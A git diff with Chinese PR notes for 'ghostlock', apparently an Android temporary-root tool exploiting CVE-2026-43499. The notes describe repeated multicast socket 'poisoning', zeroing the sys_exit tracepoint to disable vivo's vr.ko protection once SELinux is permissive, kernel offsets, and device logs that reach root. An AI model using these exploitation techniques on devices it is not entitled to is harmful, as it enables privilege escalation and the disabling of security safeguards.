`mcast_*` 改经 `mcast_tuning()` 读取 | +| multicast 路由 | `src/core/route/multicast_waiter_route.cpp` | 单次投毒 → 重复投毒 / 重复 walk(`attempts/arm_sequence/arm_hold`,默认 128/16/20000) | +| 提取器 | `tools/extract_rs/src/{symbols,report}.rs` | `__tracepoint_sys_exit`(optional)+ BTF `tracepoint.funcs`;`--format conf` 输出 gate/符号/布局 | +| profile-core | `profile-core/.../NativeProfile.kt` 等 | gate/符号/布局的读写、导出与解析器白名单;另镜像 multicast `attempts/arm_sequence/arm_hold`(`MulticastConfig`,随新内置一并补齐),并收录进编辑器(换路由播种 + 标签)与范围校验(8/8/16 位,越界上报);冻结 golden 夹具不变 | +| 导出器合并修复 | `profile-core/.../ProfileMerger.kt` | 合并基准改为**深拷贝**共享 execution 预设(见下节) | +| 迁移夹具 | `app/src/test/resources/remote-main-6x-offsets.json`、`ProfileMigrationEquivalenceTest.kt` | 新内置进入 remote/main 夹具(实测值 + 嵌套 `route` 声明);尺寸断言 52 → 53 | +| 内置 profile | `app/src/main/assets/kernel_profiles/6.1.145-android14-11-maybe-dirty.conf`(新增)+ `index.conf` | iQOO 12 条目:gate on、布局 64、multicast 几何与调参、cred refs | +| 主机测试 | `src/core/tests/ancillary_test.cpp` | gate 开/关、fail-closed plan、目标算术;字段位置随 padding 重构同步 | + +## 数据流/控制流差异 + +本次有两处控制流变化,各一张图。行为内部不改变攻击函数语句顺序:调用点在攻击路径之外。 + +```mermaid +flowchart TD + W1["w1(): SELinux 已 permissive"] --> CALL["固定 PreSpawn 调用点
AncillaryController::apply"] + CALL --> LIST{"编译期遍历 AncillaryPolicyList"} + LIST --> GATE{"VrGuardPolicy::enabled(profile)"} + GATE -- "gate off" --> SKIP["不执行"] + GATE -- "gate on" --> PLAN{"plan_vr_guard(profile)"} + PLAN -- "缺符号/布局任一" --> SKIP + PLAN -- "得到 {image_offset, width}" --> MOD{"apply: /proc/modules 有 vr.ko?"} + MOD -- "否(fail safe)" --> SKIP + MOD -- "是(≤5 次尝试)" --> WRITE["context.write_zero(target)
→ zero_word → attack_write"] + WRITE --> NEXT["继续 W2 / W3 / handoff"] +``` + +```mermaid +flowchart TD + P["poison: setsockopt(MCAST_BLOCK_SOURCE)
264 字节拷贝落到调用者栈帧"] --> ARM{"attempt ≥ arm_sequence 且
返回 0 / EADDRNOTAVAIL ?"} + ARM -- "否" --> MORE{"attempt < attempts ?"} + ARM -- "是" --> GO["consumer_go = attempt,yield 自旋 arm_hold"] + GO --> WALK["disarm;等 inflight 清零(walk 完成)"] + WALK --> OK{"consumer_success > 0 ?"} + OK -- "是" --> DONE["route 成功"] + OK -- "否" --> MORE + MORE -- "是" --> P + MORE -- "否" --> FAIL["route 失败(attempts 用尽)"] +``` + +- 控制流:`w1()` 写完 SELinux / 已 permissive 之后 → 固定 `PreSpawn` 调用点 → + `AncillaryController::apply`(编译期遍历注册表)→ `VrGuardPolicy::apply` + → profile gate + `/proc/modules` + `plan_vr_guard` → `context.write_zero(target, desc)` + → `zero_word` → `attack_write(g_exploit_session, …)`。 + **攻击函数内部的语句顺序不变**;调用点在攻击路径之外(此刻 SELinux 已 permissive、 + victim 尚未 spawn)。 +- 数据流:布局事实不再来自内核版本 —— `offsetof(struct tracepoint, funcs)` 由镜像 BTF 推导 + (6.1 为 `0x40`,6.6 因新增 `probestub` 为 `0x48`),gate 与符号由提取器写入 profile。 +- 不变量(主机探针实测,基线与候选一致):`sizeof(kernel_offsets)=448`、 + `sizeof(TargetProfile)=712`、`misc@248 / geometry@288 / execution@328`、 + `sizeof(KernelMisc)=40`、`tail pad=4` —— 新增字段全部落在既有 padding,攻击函数偏移未动。 + +## 兼容性与回滚 + +- wire:纯加键;旧 profile 字节不变(gate 与符号仅在非零时写出,冻结 golden 未重算)。 +- 行为默认关:profile 不带 `vr_guard` 即不执行;提取器只在 BTF 给出布局时输出布局段。 +- 回滚:单分支 revert。multicast 重复投毒可由 + `route.multicast_waiter.{attempts,arm_sequence,arm_hold}` 覆盖回单次语义。 + +## 新内置 profile 附带的两项修复(2026-10-02) + +新内置条目把两个既有缺陷变成可见失败,随本批次一并修复: + +1. **导出器合并状态泄漏**(`ProfileMerger.resolveMerged`):合并基准曾直接引用共享的 + `execution` 预设实例,而 `deepMergeValues` 原地写入 —— 首个覆盖 execution 值的内置 + (本 profile 的 `heap.prepare_max_attempts = 12`)把它写进共享预设,同进程内其后的 + profile 全部继承 12,直到某个 profile 显式写回 4。`ExporterAgreementTest`(导出集与 + app 自身文档逐字节比对)在 9 个 profile 上复现。修复:种子前深拷贝该预设 + (`copyValue()`)。缺陷此前不可见,因为没有任何内置把 execution 值改成非默认。 +2. **迁移夹具缺口**(`ProfileMigrationEquivalenceTest`):该测试要求 remote/main 夹具覆盖 + 每个现行 6.x 内置。新条目按实测值写入;remote/main 时代没有 multicast 路由,其 `route` + 以嵌套对象声明(转换器对该形态原样透传),迁移解析结果与内置文档逐字节一致;夹具尺寸 + 断言随之为 53。 + +## 验证矩阵 + +| 项 | 命令 | 结果 | +|---|---|---| +| 主机单测 | `make -C src native-host-tests`(WSL g++ 15) | **25/25 PASS**(`tcp_zerocopy_route_test` 在 x86 上 `yield` 汇编失败,基线同样失败,非本 PR 引入;2026-10-02 复跑) | +| NDK 构建 | `make -C src ghostlock`(ONDK r30.1,API 35) | **0 warning**(二进制 md5 `02f2be01`) | +| lint | `make -C src lint-tidy`(ONDK r30.1 clang-tidy) | **rc=0**(2026-10-02 复跑) | +| 反汇编核对 | `tools/cmp_disasm.py build/native/ghostlock` | 见下节 | +| Rust | `cargo test`(extract_rs) | 34/34(2026-09-30);`--format conf` 对本机 boot.img 复核输出 `vr_sys_exit_tp=37532032`、`tracepoint_funcs=64`(2026-10-02) | +| Kotlin | `:profile-core:test` + `:app:testDebugUnitTest` | 全绿(**80 app 测试 + 17 profile-core**,2026-10-02;含新增 vr.ko 往返夹具、multicast 调参键向量与两处修复的回归) | +| 真机门禁 | 冷启动 / 锁屏 / multicast | 2026-09-30 PASS(旧二进制);**2026-10-02 最终二进制复跑 PASS**,见 `docs/analysis/device-gates/ANC-01-20261002-multicast-direct-pass.md` | + +## 反汇编核对记录(cmp_disasm) + +- 基线二进制:干净 `deff0b1b` 工作树构建(md5 `27879fa7b77f03afc786954745dea9f0`)。 +- 候选二进制:本分支 + 2026-10-02 批次构建(md5 `02f2be01155bcb3603c77d00a58ded1c`)。 +- 工具:分支自带 `tools/cmp_disasm.py`(`51008aa6`,三级);另用 `origin/main` + 的两级版本(`0fad441f`)交叉核对。**未修改本工具**。 + +| 函数 | 分支工具(三级) | main 工具(两级) | 复核结论 | +|---|---|---|---| +| `owner_thread` | OPERAND-DIFF ×2 | **IDENTICAL (strict)** | 两处均为 `adrp` 页基址 / 字符串偏移编码;解析后同为 `g_exploit_session+0x1d0`、同一字面量 | +| `waiter_thread` | OPERAND-DIFF ×31 | LAYOUT-SHIFT ×10(仅注解) | 15 处对象 + 16 处字面量,解析后两侧**完全一致** | +| `consumer_thread` | OPERAND-DIFF ×8 | LAYOUT-SHIFT ×2 | 5 处对象 + 3 处字面量,同上 | +| `run_main_route_threads` | OPERAND-DIFF ×45 | LAYOUT-SHIFT ×3 | 33 处对象 + 11 处字面量 + 1 处手工解析(`g_exploit_session+0x5d0`),同上 | +| `do_one_write`(3 个 middleware 实例) | OPERAND-DIFF ×16/实例 | **IDENTICAL (strict)**,126 条/实例 | 每实例 6 处对象 + 10 处字面量,解析后完全一致 | +| `do_kernel5_fake_lock_route` | DIFF 174 → 224 | DIFF 174 → 224 | **既定行为改动**(multicast 重复投毒/重复 walk):循环包裹既有 poison+walk 主体,主体内语句顺序与 prepare/recycle 顺序不变;224 为 review 修正后的条数(见下节);真机门禁见下 | +| `multicast_owner_worker` / `multicast_waiter_worker` | MISSING(两侧皆无此符号) | MISSING | 本分支 multicast 实现没有这两个 worker(未实例化)——与 `kernel-phys-offset-plan.md` 反汇编核对记录中同类结论一致(该记录同样把这两项记为「两边都不存在」) | + +**复核方法(可复现)**:对每条 `OPERAND-DIFF` 指令,按 `adrp` 页基址 + 立即数解析有效地址, +再经符号表折算为 `符号+偏移`;字符串地址按 ELF 段映射(`llvm-readelf -l`)读出字面量并比对。 +结果:**5 个未改行为的攻击函数合计 102 条差异指令,全部解析为「同一对象成员」或 +「同一字符串字面量」,0 例指向不同目标**(`do_kernel5_fake_lock_route` 之外)。 +102 为单实例口径(`do_one_write` 取一个 middleware 实例);其三个实例各 16 条, +全部计入为 134 条。 +结论:差异均为链接期数据/字符串布局位移引起的**地址编码与最近的符号注解**变化, +不包含结构体成员偏移变化、不包含控制流或语句顺序变化。 + +### 适配器绑定 session 全局(2026-10-02 修复) + +早期实现中 `zero_word(ExploitSession&, …)` 把**参数**转发给 `attack_write`; +经函数指针(`AncillaryZeroFn`)间接调用后,LTO 无法再证明该参数恒为 session 全局, +`attack_write` 由「参数被常量折叠」退化为保留参数 → 寄存器分配与帧大小变化 +(`do_one_write` 126 → 130,多保存一个 callee-saved 寄存器)。 +将适配器改为绑定 session 全局(`zero_word(target, desc)` 内部使用 `g_exploit_session`)后, +`attack_write` 的所有调用点重新都传同一常量 → **`do_one_write` 恢复 IDENTICAL (strict),126 条**。 +这也消除了「行为实现改动攻击函数代码形状」的耦合(guide §7、AGENTS.md 字节核对要求)。 + +### 复核脚本 + +`tmp_resolve2.py` / `tmp_resolve_diffs.py`(工作区 `ghostlock-analysis/`,一次性工具,不入库) +可按上述方法复算本表;WSL 下运行时把脚本内 `BIN` 与 `read_cstr` 的路径换成 `/mnt/e/...`。 +`count_diffs.py`(仓库根,未入库)给出未截断的逐函数计数。 + +2026-10-02 复算:`owner_thread` 1 对象 + 1 字面量;`waiter_thread` 15 + 16; +`consumer_thread` 5 + 3;`run_main_route_threads` 33 + 11(另 1 条手工解析); +`attack_write`×3 每实例 6 + 10。`DIFFERENT obj/str` 全为 0。 + +### Review 驱动修正(2026-10-02,PR #228 的评审) + +评审提出 5 条,逐条核实并修复(同分支): + +| 评审意见 | 判定 | 处理 | +|---|---|---| +| 路由不得把 setsockopt 返回 0 当作成功;须用 consumer 的验证写入 | 真问题(本次重写引入) | `multicast_waiter_route.cpp`:`ROUTE_OK` 只由 `consumer_success > 0` 决定(与 select 路由一致);日志补 `sockopt=` 字段 | +| `vr_tracepoint_funcs` 为 u8,BTF 偏移 ≥ 0x100 会被静默截断(fail-closed 失效) | 真问题(理论边界) | 提取器仅在 `1..=0xFF` 时输出布局,否则整段省略(guard 保持关闭);共享校验拒绝 `vr_guard.tracepoint_funcs > 0xFF` | +| 调参三键的窄化转换先于共享校验,导出器等调用方会静默回绕 | 真问题 | `ProfileResolver.validateMerged` 增加宽度校验(route 与 fallback 两支;8/8/16 位),带测试 | +| 硬编码 (4,5) 会成为所有具备 4/5 核心设备的默认核对 | 真问题(设计) | 改为按 profile 推荐:`BuiltinProfileCatalog.recommendedCpus` + `UserProfileStore.recommendedCpus`(与 `recommend_shizuku` 同机制);用户显式选择优先(`cpuPairPreferenceSet`) | +| 非 conf 格式在缺 `tracepoint.funcs` 时整体解析失败 | 真问题 | `OPTIONAL_STRUCT_FIELDS` 增加 `vr_tracepoint_funcs`,JSON/text 输出保持可用 | + +反汇编:修正后 `do_kernel5_fake_lock_route` = **174 → 224**(+2 条:判定与日志字段),其余函数与基线的关系不变(见上表)。 + +## 真机门禁 + +2026-09-30(旧二进制),冷启动、锁屏未解锁、multicast、`main=4 consumer=5`: + +``` +[*] cpu pair: main=4 consumer=5 +[*] multicast route status=0 clean=1/1 step=0 errno=0 attempts=16 calls=1 success=1 +[*] vr guard: neutralizing __tracepoint_sys_exit.funcs + image=ffffffc0823cb1c0 target=ffffff802a3cb1c0 width=8 +[+] vr guard: sys_exit probe disabled (attempt 1) +[+] child is root! +[+] KernelSU ready +``` + +`image = KIMAGE_TEXT_BASE(0xffffffc080000000) + 0x23cb180 + 0x40`;`target` 为其 direct-map 别名; +`su -c id` → `uid=0(root) context=u:r:ksu:s0`;设备未 panic,`loadavg` 0.65 平稳; +KSU 管理器模块页正常渲染(#154/#201 的失败形态未复现)。 + +**已补(2026-10-02)**:最终二进制(代码 tip `a329df60`,`build/native/ghostlock` SHA-256 +`7d85c26b…`)在冷启动、锁屏、multicast、`main=4 consumer=5` 上复跑 **PASS**: +`vr guard: sys_exit probe disabled` → `child is root!` → `KernelSU ready`,`su -c id` = +`uid=0(root) context=u:r:ksu:s0`,设备未 panic、SELinux 回到 Enforcing。归档记录: +`docs/analysis/device-gates/ANC-01-20261002-multicast-direct-pass.md`(含逐次尝试统计、 +`--dump-kernel-log` 证据包与设备侧 `ghostlock_ksu.log`)。 + +两条观察(写进记录):本次 9 次尝试 1 次完整通过,失败均为 route 阶段 panic +(`KERNEL-PANIC-01` 类,环境/时序,不归因代码);本机开机后 ≈60–90s 的低噪声窗口 +(套件 README 的经验)明显优于 240s+ 窗口(后者 6/6 失败)。 + +**评审修正后的复跑(2026-10-02,ANC-02)**:修正批次 tip `ff2bd110`(攻击路径修正 +`e493f110`)的二进制(SHA-256 `9cfd7c83…`)在相同条件下**第 1 次尝试 PASS**;新判据在真机 +日志中可见(`sockopt=-1` 而 `success=1`,`status=0` 单独由 consumer 的验证写入支撑)。归档: +`docs/analysis/device-gates/ANC-02-20261002-multicast-postreview-pass.md`。 + +**配对实验(2026-10-02,本地统计未入库)**:为判定"修复后 29% vs 基线 70%"是代码效应还是 +环境漂移,将修复前/后二进制在同一时间窗内**交替**各跑 10 轮(同条件):两者均 **2/10 通过**, +不一致对 2(1:1),精确检验 **p = 1.00** → 修复不改变成功率;而同一枚"下午 70%"的二进制在 +晚间只有 20% —— **成功率随设备连续失败次数显著退化**(本机当日约 80+ 次重启)。结论: +跨时段比较版本成功率无效,必须同窗配对;连续失败多轮后应让设备休息。 + +## 明确保留 + +- 不新增 `ExploitSession` 字段(guide §7)。 +- 不动 kernelsnitch、`LegacyProfileConverter.kt` 与保留清单文件。 +- 不改 wire 版本、不动既有 profile 字节。 +- 不修改 `tools/cmp_disasm.py`(两个版本的差异属上游演进)。 + +## 进度 + +- [x] multicast 重复投毒(`7bbaab08`) +- [x] vr.ko guard 实现(`9f2f9048`) +- [x] BTF 推导 + profile-core 镜像 + 内置 profile(`60eef53a`) +- [x] 结构体布局回归修复(新字段落 padding)+ 适配器绑定 session 全局(`2912fca4`) +- [x] multicast 调参键的 Kotlin 镜像(`1dc8d2e3`) +- [x] 新内置触发的两项修复:导出器合并隔离(`67a792c3`)+ 迁移夹具覆盖(`a329df60`) +- [x] 编辑器/校验收录调参键 + schema/模板收录(`13f4a7b4`、`b099a1b7`) +- [x] CPU 配对修复(`efcf8374`)+ 参考方案与同期工作(#141/#220/#221)对比(`3c94485b`) +- [x] 主机测试 25/25、NDK 0 warning、lint rc=0、cmp_disasm 复核记录(本文档) +- [x] 冷启动真机门禁复跑 + 日志归档(ANC-01,2026-10-02,PASS) +- [x] Review 驱动修正 5 条:路由判据 / 提取器可选性与宽度 / 共享校验 / CPU 配对来源(PR #228 评审) +- [x] 推送分支并开 PR:https://github.com/YuKongA/ghostlock-app/pull/228 diff --git a/docs/kernel_profiles/PROFILE_SCHEMA.md b/docs/kernel_profiles/PROFILE_SCHEMA.md index c8dd96478..51e843b8e 100644 --- a/docs/kernel_profiles/PROFILE_SCHEMA.md +++ b/docs/kernel_profiles/PROFILE_SCHEMA.md @@ -237,6 +237,7 @@ addresses. | `route.multicast_waiter.waiter_off` | Offset of the waiter in the multicast buffer (must be > 0) | | `route.multicast_waiter.buffer_size` | Forged buffer size | | `route.multicast_waiter.task_offset` / `route.multicast_waiter.lock_offset` | Task / lock field offsets in the buffer | +| `route.multicast_waiter.attempts` / `route.multicast_waiter.arm_sequence` / `route.multicast_waiter.arm_hold` | Optional poison/walk repetition tuning (re-poisons per W1, the attempt the walk is armed from, the yield hold after arming); widths 8/8/16 bits, absent or 0 keeps the compiled default, and existing profiles are unaffected | | `offset.empty_zero_page` | `empty_zero_page` offset | ### 4.6 KernelSnitch values (`kernelsnitch`) diff --git a/docs/kernel_profiles/PROFILE_SCHEMA_ZH.md b/docs/kernel_profiles/PROFILE_SCHEMA_ZH.md index 3690ce23b..6e0f14831 100644 --- a/docs/kernel_profiles/PROFILE_SCHEMA_ZH.md +++ b/docs/kernel_profiles/PROFILE_SCHEMA_ZH.md @@ -201,6 +201,7 @@ cred | `route.multicast_waiter.waiter_off` | 多播缓冲区中 waiter 的偏移(必须 > 0) | | `route.multicast_waiter.buffer_size` | 伪造缓冲区大小 | | `route.multicast_waiter.task_offset` / `route.multicast_waiter.lock_offset` | 缓冲区中任务 / 锁字段偏移 | +| `route.multicast_waiter.attempts` / `route.multicast_waiter.arm_sequence` / `route.multicast_waiter.arm_hold` | 可选的投毒/走查重复调参(同一 W1 内的重复投毒次数、起臂轮次、起臂后 yield 自旋量);宽 8/8/16 位,缺省或 0 用编译期内置值,不写不影响既有 profile | | `offset.empty_zero_page` | `empty_zero_page` 偏移 | ### 4.6 KernelSnitch 参数(`kernelsnitch`) diff --git a/docs/kernel_profiles/templates/kernel-5.x.template.conf b/docs/kernel_profiles/templates/kernel-5.x.template.conf index d1907d2bd..240c46ebb 100644 --- a/docs/kernel_profiles/templates/kernel-5.x.template.conf +++ b/docs/kernel_profiles/templates/kernel-5.x.template.conf @@ -44,6 +44,12 @@ route { lock_offset = null # 紧凑 waiter 布局标记(multicast 分支同样需要) compact_waiter = null + # 同一 W1 内的重复投毒次数(8 位;缺省或 0 用编译期内置值) + attempts = null + # 第几次投毒后开始起臂走查(8 位) + arm_sequence = null + # 起臂后 yield 自旋量(16 位) + arm_hold = null } } # 回退声明:tcp 路由失败后回退 select_stack;不使用回退时删除整块 diff --git a/docs/pr-note-vr-guard-pr.md b/docs/pr-note-vr-guard-pr.md new file mode 100644 index 000000000..5075c4de9 --- /dev/null +++ b/docs/pr-note-vr-guard-pr.md @@ -0,0 +1,216 @@ +# PR note:`vr-guard-pr` → `vr-ko-bypass-dev` + +- Head:`vr-guard-pr`(原生二进制构建自 C++ 树最后一次变更 `2912fca4`,其后仅 Kotlin / 测试 / 文档) +- Base:`vr-ko-bypass-dev`(`deff0b1b`) +- 规模:代码(`src/`、`tools/`、`profile-core/`、`app/`)35 files、+1093 / −44;文档与门禁记录 + 见 PR 界面的 Files changed(本说明自身也在其中,随提交演进微调) + +## 需要你拍板的三件事(先说结论) + +1. **multicast 提交是否留在本 PR**:它把 multicast route 从「每阶段一次 poison/walk」改为 + 「重复投毒 + 重复 walk」,是这台设备能跑完一轮的前提(否则 vr.ko 行为无法真机验证)。 + 改动自包含,可拆 —— 如需要,我保留 vr.ko 部分、把重复投毒另开一篇。 +2. **与 main 新约定是否现在对齐**(`2d9d8016` 的「整域 + 显式 null」规则、`a9518142` 的 + `kernel_phys_offset`):本 PR 按目标分支既有的 presence 语义实现;若要现在对齐,属机械改动, + 我可以直接做进本篇。 +3. **两处 API/类型选择**:`AncillaryContext.write_zero`(语义化「清零一个字」,避免行为引用 + middleware 的 `WriteRequest`;也可以改成更通用的 `write` 形态);`vr_guard.tracepoint_funcs` + 用 `u8` 标量(0 = 未提供,与 `offset.*` 惯例一致;改成 presence 语义需要更多字节、会超出 + padding,得重评布局冻结)。 + +其余内容:逐文件改动(§主要变化)、验证矩阵与反汇编核对、两份真机门禁、明确保留 —— 见下文。 + +本 PR 实现 `docs/analysis/ancillary-controller-guide.md` §9 留下的任务:`VrGuardPolicy` +(vivo/iQOO `vr.ko` 探针中和),并让测试设备能真正跑完一轮以做真机验证。完整计划与证据 +(含逐函数反汇编核对记录、真机门禁)在 `docs/analysis/vr-guard-plan.md`。 + +## 概览 + +1. **行为**(guide §4–§6):`PreSpawn` 清 `__tracepoint_sys_exit.funcs`,一次写入覆盖 + 本轮全部进程,含 ksud 与它派生的 shell。 +2. **profile 契约**:gate(`meta.vr_guard`)+ 符号(`offset.vr_sys_exit_tp`)+ 布局 + (`vr_guard.tracepoint_funcs`,由镜像自身 BTF 推导);native / `profile-core` / 提取器 + 三侧同步。不改 wire 版本,既有 profile 字节不变(冻结 golden 未重算)。 +3. **multicast route**:单次投毒 → 重复投毒 / 重复 walk。本机跑通的前提,见下节。 + +问题背景(#154 / #201 / #61):临时 root 成功后,vr.ko 在 `commit_creds` 上给 uid 0 进程 +打 tag,在 `__tracepoint_sys_exit` 上按 tag 杀进程——ksud 与它 fork 的 shell 连锁死亡 +(管理器白屏、应用黑屏、系统不稳定直到重启)。现有的逐任务清 tag 只覆盖 exploit 子进程。 +清 `funcs` 后,tracepoint 迭代器见 `funcs == NULL` 跳过全部探针;打 tag 的探针照常运行, +但无人响应。 + +## 主要变化 + +| 领域 | 文件 | 变更 | +|---|---|---| +| 行为(纯函数,host 可编译) | `src/core/session/ancillary/vr_guard.hpp` | `plan_vr_guard()`:profile → `{image_offset, width_bytes}`,缺符号或布局任一事实返回 `nullopt`(fail closed);`enabled()` 只做 profile gate | +| 行为(设备) | `src/core/session/ancillary/vr_guard.cpp` | 运行时 `/proc/modules` 确认 vr.ko(guide §5,不按 `uname -r`);≤5 次尝试写 `sys_exit tp->funcs`;失败只告警 | +| 原语注入 | `src/core/session/ancillary/ancillary_policy.hpp` | `AncillaryContext` 增加 `AncillaryZeroFn write_zero`(plain 函数指针,无虚分派) | +| 调用点 | `src/core/session/backend/cve_2026_43499_backend.{hpp,cpp}` | `w1()` 末尾固定 `PreSpawn` 调用点;`zero_word()` 适配器绑定 session 全局(见设计点 2) | +| profile 模型 / wire | `src/core/profile/{model.h,binary.cpp}` | gate / 符号 / 布局与 multicast 调参;新字段全部落既有 padding,`sizeof`/`offsetof` 不变 | +| 读取点 | `src/core/attack/ops.cpp`、`src/core/route/multicast_waiter_route.cpp` | 调参经 `mcast_tuning()` 读取 | +| multicast route | `src/core/route/multicast_waiter_route.cpp` | 重复投毒 / 重复 walk;`attempts/arm_sequence/arm_hold` 默认 128/16/20000,profile 可覆盖,0 保持默认 | +| 提取器 | `tools/extract_rs/src/{symbols,report}.rs` | `__tracepoint_sys_exit`(optional);`struct tracepoint.funcs` 由 BTF 取;`--format conf` 输出三项 | +| profile-core / app | `NativeProfile.kt`、`ProfileResolver.kt`、`MulticastConfig.kt`、编辑器(`AndroidProfileConfigController`/`FieldLabels`)、往返测试、内置 profile + `index.conf` | 三字段读写与白名单;multicast `attempts/arm_sequence/arm_hold` 的 Kotlin 镜像补齐(原先只存在于 native 字段表),并收录进编辑器(换路由时作为占位播种、补标签)与范围校验(8/8/16 位,越界上报而不是被类型转换绕回);新增 iQOO 12(`6.1.145-android14-11-maybe-dirty`)内置条目 | +| 修复 1 | `profile-core/.../ProfileMerger.kt` | 合并基准改为深拷贝共享 execution 预设(见下节) | +| 修复 2 | `app/src/test/resources/remote-main-6x-offsets.json`、`ProfileMigrationEquivalenceTest.kt` | 新内置进入 remote/main 迁移夹具(实测值、嵌套 `route` 声明);夹具尺寸断言 52 → 53 | +| 主机测试 | `src/core/tests/ancillary_test.cpp` | gate 开/关、fail-closed plan、目标算术 | +| 计划 / 证据 | `docs/analysis/vr-guard-plan.md` | 计划、反汇编核对记录、真机门禁 | + +## 对评审的回应(全部已修复) + +| 评审意见 | 处理 | +|---|---| +| 路由把 `setsockopt` 返回 0 当作成功,缺少 consumer 的验证写入 | `ROUTE_OK` 现在只由 `consumer_success > 0` 决定(与 select 路由一致);日志补 `sockopt=` 字段 | +| `vr_tracepoint_funcs` 为 u8,BTF 偏移 ≥ 0x100 会被静默截断(fail-closed 失效) | 提取器仅在 `1..=0xFF` 时输出布局,否则整段省略、guard 保持关闭;共享校验同时拒绝超宽的 `vr_guard.tracepoint_funcs` | +| 调参三键的窄化转换先于共享校验,导出器等非 App 调用方会静默回绕 | `ProfileResolver.validateMerged` 增加 8/8/16 位宽度校验(route 与 fallback 两支),带测试 | +| 硬编码 (4,5) 会成为所有具备 4/5 核心设备的默认核对 | 改为**按 profile 推荐**(`BuiltinProfileCatalog` + `UserProfileStore`,与 `recommend_shizuku` 同一机制),用户显式选择优先 | +| 非 conf 格式在缺 `tracepoint.funcs` 时整体解析失败 | `OPTIONAL_STRUCT_FIELDS` 增加 `vr_tracepoint_funcs`,JSON/text 输出保持可用 | + +修正后已在真机上复跑门禁:冷启动 / 锁屏 / multicast、**第一次尝试通过** +(`ANC-02`:`child is root!` → `KernelSU ready`,`su` = root;新判据在日志中可见 —— +`sockopt=-1` 而 `success=1`,`status=0` 单独由 consumer 的验证写入支撑)。 + +另附一个针对性验证:为排除"更诚实的判据 → 调用方重试增多 → 拉低成功率"的疑虑,做了**配对 +实验**(修复前/后二进制在同一时间窗内交替各 10 轮,条件相同):两者均 **2/10 通过**,不一致对 +2(1:1),精确检验 **p = 1.00** —— 判据修正不改变成功率。对照中发现该指标对**设备疲劳**极 +敏感(同条件、同一枚二进制:下午 70%、晚间 20%),因此跨时段的成功率比较不可用,须同窗配 +对。 + +## 新内置条目附带的两项修复 + +新内置条目把两个既有缺陷变成可见失败,随本 PR 一并修复: + +1. **导出器合并状态泄漏**(`ProfileMerger.resolveMerged`):合并基准曾直接引用共享的 + `execution` 预设实例,而 `deepMergeValues` 原地写入 —— 首个覆盖 execution 值的内置 + (本 profile 的 `heap.prepare_max_attempts = 12`)把它写进共享预设,导出器在同一进程 + 合并全部内置,其后的 profile 因此全部继承 12,直到某个 profile 显式写回 4。 + `ExporterAgreementTest` 在 9 个 profile 上复现。修复为种子前深拷贝该预设。 + 该缺陷此前不可见:没有任何内置把 execution 值改成非默认。 +2. **迁移夹具缺口**(`ProfileMigrationEquivalenceTest`):该测试要求 remote/main 夹具覆盖 + 每个现行 6.x 内置。remote/main 时代没有 multicast 路由,新条目以嵌套 `route` 对象声明 + (转换器对该形态原样透传),迁移解析结果与内置文档逐字节一致。 + +## 参考的方案与同期工作 + +实现依据: + +- 本分支自己的设计文档 `docs/analysis/ancillary-controller-guide.md` §4–§9(behavior contract、 + stage、运行时适用性、profile 契约)与分支上的 `VrGuardPolicy` 骨架; +- 分支内既有的 **per-task 清 tag**(`cve_2026_43499_backend.cpp` 的 w2b 路径,`VR_TAG_B_OFF`, + 注释注明 ported from root.c)—— 它只覆盖 exploit 子进程;本 PR 补的是 root 之后 ksud 与 + 它派生的 shell 的存活(#154/#201/#61); +- 设备侧对 vivo `vr.ko` 的确认:`commit_creds` 上给 uid 0 打 tag、`__tracepoint_sys_exit` 上 + 执行; +- 内核侧依据:tracepoint 迭代器在 `funcs == NULL` 时跳过全部探针 + (`for (func = tp->funcs; func && func->func; func++)`),因此清空是安全的全局中和; +- 参考套件 `zhubaohe123/ghostlock-kit` 在同内核线上的实测参数与流程(multicast 几何、 + 重复投毒 128/16/20000、CPU 4/5、iomem 缓存、锁屏低噪声窗口); +- 布局不按内核版本查表,而由**镜像自身 BTF** 推导(guide §5/§6 的要求)。 + +提交前核对了上游同期/历史同类工作(**本 PR 未使用其代码**): + +| 编号 | 作者 | 状态 | 做法 | 与本 PR 的差别 | +|---|---|---|---|---| +| #141 | abdulla-li | closed(未合并) | 旧 C 架构的 vr.ko 全局中和 | 架构已迁移;思路相同,本 PR 按新架构重做 | +| #220 / #221 | abdulla-li | #220 closed;#221 open(base 为 `main`) | 在 `main` 的 w2b 块里清 `funcs`;布局用 `target.h` 里**按版本硬编码的常量**(6.1=0x40 / 6.6=0x48),符号只加进一个内置 profile | 本 PR 在 `vr-ko-bypass-dev` 的 ancillary 架构内实现(guide 契约、`PreSpawn` 固定调用点、profile gate + fail-closed);布局由**镜像 BTF** 推导、提取器对所有镜像产出;结构体只用既有 padding 以保持 `cmp_disasm` 冻结;并带真机门禁 PASS(见上) | +| #201 / #206 | issues | open | 需求 / 问题报告 | 本 PR 提供实现 | + +## 关键设计点 + +1. **布局冻结**:攻击函数按偏移读写 session 成员,`cmp_disasm` 要求其机器码不变,所以新 + 字段一律放进既有 padding(`kernel_offsets` 尾部 4 字节、`KernelMisc` 的 2+4 字节)。 + 主机探针在基线与本分支逐项核对:`sizeof(kernel_offsets)=448`、`sizeof(TargetProfile)=712`、 + `misc@248 / geometry@288 / execution@328` 一致。 +2. **LTO 常量折叠**:适配器最初把 session 参数经函数指针转发,LTO 无法再证明其恒为常量, + `attack_write` 寄存器分配变化(126 → 130 条指令)。改为适配器内部引用 `g_exploit_session` + 后恢复 IDENTICAL (strict, 126)。 +3. **不按内核版本推断**:`funcs` 偏移 6.1 为 `0x40`、6.6 因插入 `probestub` 为 `0x48`; + 写错只会静默改到 `unregfunc`。因此由镜像自身 BTF 取(guide §5/§6),同一份代码覆盖两代。 +4. **失败不致命**:无 BTF / 无符号 / 无 vr.ko 的机器上行为保持关闭;写入失败只告警,不改变 + 主流程返回码。 + +## 验证 + +| 项 | 命令 | 结果 | +|---|---|---| +| 主机测试 | `make -C src native-host-tests` | **25/25 PASS**;`tcp_zerocopy_route_test` 因 AArch64 `yield` 汇编在 x86 主机上不可构建,`deff0b1b` 基线上同样失败,非本 PR 引入 | +| NDK 构建 | `make -C src ghostlock`(ONDK r30.1) | 0 告警(二进制 md5 `02f2be01`) | +| lint | `make -C src lint-tidy` | rc=0,用户代码 0 findings | +| 反汇编核对 | `tools/cmp_disasm.py build/native/ghostlock` | 见下 | +| Rust | `cargo test --release`(extract_rs) | 34/34;`--format conf` 对本机 boot.img 复核输出 `vr_sys_exit_tp=37532032`、`tracepoint_funcs=64` | +| Kotlin | `./gradlew :profile-core:test :app:testDebugUnitTest` | 全绿:**80 app 测试 + 17 profile-core**(含新增 vr.ko 往返夹具、multicast 调参键向量,及上节两处修复的回归) | +| 真机门禁 | 冷启动、锁屏、multicast、`main=4 consumer=5` | 